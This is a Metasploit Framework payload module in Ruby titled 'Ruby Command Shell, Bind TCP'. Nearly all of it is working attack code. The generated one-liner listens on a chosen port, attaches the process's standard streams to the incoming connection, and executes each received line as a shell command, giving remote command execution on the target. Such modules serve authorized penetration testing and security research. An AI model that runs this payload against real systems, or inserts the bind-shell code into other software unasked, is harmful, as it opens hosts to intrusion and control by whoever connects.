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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 516
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  include Msf::Payload::Single
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  include Msf::Payload::Ruby
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  include Msf::Sessions::CommandShellOptions
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  def initialize(info = {})
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    super(merge_info(info,
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      'Name'        => 'Ruby Command Shell, Bind TCP',
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      'Description' => 'Continually listen for a connection and spawn a command shell via Ruby',
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      'Author'      => [ 'kris katterjohn', 'hdm' ],
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      'License'     => MSF_LICENSE,
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      'Platform'    => 'ruby',
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      'Arch'        => ARCH_RUBY,
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      'Handler'     => Msf::Handler::BindTcp,
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      'Session'     => Msf::Sessions::CommandShell,
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      'PayloadType' => 'ruby',
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      'Payload'     => { 'Offsets' => {}, 'Payload' => '' }
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    ))
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  end
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  def generate(_opts = {})
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    return prepends(ruby_string)
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  end
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  def ruby_string
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    "require 'socket';s=TCPServer.new(#{datastore['LPORT'].to_i});c=s.accept;s.close;"+
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    "$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;" +
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    "(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }"
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  end
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end
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